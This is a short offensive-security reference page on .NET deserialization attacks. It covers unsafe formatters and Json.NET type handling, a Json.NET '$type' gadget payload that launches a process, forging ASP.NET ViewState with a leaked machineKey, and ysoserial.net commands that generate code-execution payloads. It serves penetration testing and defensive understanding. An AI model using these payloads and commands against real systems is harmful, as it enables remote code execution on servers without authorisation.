.NET deserialization

.NET deserializers that preserve type information can be steered to instantiate attacker-chosen types and run their reconstruction logic, giving gadget-chain remote code execution. The classic unsafe formatters embed types in the stream; the JSON libraries become unsafe when configured to honor a type hint.

The sinks#

• BinaryFormatter.Deserialize, LosFormatter, ObjectStateFormatter, SoapFormatter, NetDataContractSerializer: type-aware binary/XML formatters that are unsafe on untrusted input. Base64 BinaryFormatter output often begins AAEAAAD/////.

• Json.NET (Newtonsoft.Json) with TypeNameHandling set to anything other than None: the JSON carries a $type field naming the CLR type to instantiate, which is the injection point:

  jsoncopy

  { "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "MethodName": "Start", "ObjectInstance": { "$type": "System.Diagnostics.Process, System", ... } }
  

• JavaScriptSerializer with a custom SimpleTypeResolver, and XmlSerializer/DataContractSerializer when the expected type is attacker-influenced.

ViewState#

ASP.NET __VIEWSTATE is a LosFormatter/ObjectStateFormatter blob. When it is not protected by a valid MAC (MAC disabled, or the machineKey is known or leaked), an attacker forges a ViewState that deserializes to a gadget. ysoserial.net has a dedicated ViewState plugin that takes the key and generator:

ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "cmd /c ping attacker" --apppath="/" --path="/page.aspx" \
  --decryptionalg="AES" --decryptionkey=... --validationalg="SHA1" --validationkey=...

A leaked or default machineKey (from config disclosure) turns ViewState into reliable RCE.

Gadget generation#

Use ysoserial.net to produce payloads for the formatter and gadget in play:

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"

Deliver in the formatter's expected encoding (base64 for most binary formatters).

Exploitation notes#

• Identify the formatter first; the gadget (TypeConfuseDelegate, ObjectDataProvider, WindowsIdentity, TextFormattingRunProperties) must match both the formatter and the assemblies available (WPF PresentationFramework, etc.).
• For Json.NET, you need TypeNameHandling != None on the deserializing side; probe by sending a $type and watching for type-load behavior or errors.
• ViewState requires defeating the MAC: hunt for a disclosed web.config/machineKey, a known default, or MAC-disabled pages.

Tools#

• ysoserial.net: formatters, gadgets, and the ViewState plugin.

References#

• PortSwigger Web Security Academy: Insecure deserialization
• ysoserial.net project